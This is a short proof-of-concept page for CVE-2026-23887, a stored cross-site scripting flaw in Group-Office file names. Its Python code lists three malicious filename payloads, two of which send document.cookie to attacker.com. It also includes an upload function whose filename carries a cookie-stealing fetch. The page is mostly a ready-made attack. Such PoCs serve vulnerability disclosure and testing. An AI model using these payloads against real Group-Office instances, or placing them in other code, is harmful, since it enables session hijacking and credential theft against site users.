CVE-2026-23887: Group-Office 存储型跨站脚本(XSS)漏洞

# CVE-2026-23887 PoC - Stored XSS in Group-Office Filename # This PoC demonstrates how a malicious filename can trigger XSS # Method 1: Using script tag in filename malicious_filename_1 = '<script>alert(document.cookie)</script>' # Method 2: Using event handler (more stealthy) malicious_filename_2 = 'image.jpg" onerror="fetch(\'https://attacker.com/steal?c=\'+document.cookie)" ' # Method 3: Using img tag with onerror malicious_filename_3 = '<img src=x onerror=eval(atob("YWxlcnQoZG9jdW1lbnQuY29va2llKQ=="))>' # PoC: Upload a file with malicious filename via Group-Office API import requests TARGET_URL = "http://target-groupoffice-instance/" ATTACKER_COOKIE_STEAL_URL = "https://attacker-controlled.com/collect" def exploit_stored_xss(): """ Step 1: Upload file with malicious filename """ files = { 'file': ('<img src=x onerror=fetch(`https://attacker.com/log?c=`+document.cookie)>', b'fake content') } # Note: Requires low-privilege user authentication session = requests.Session() # session.auth = ('low_priv_user', 'password') # Upload the malicious file # response = session.post(f"{TARGET_URL}core/file/upload", files=files) print("[*] File uploaded with malicious filename") print("[*] When any user views this file, XSS payload will execute") return True # The vulnerability allows stored JavaScript execution # Impact: Session hijacking, credential theft, unauthorized actions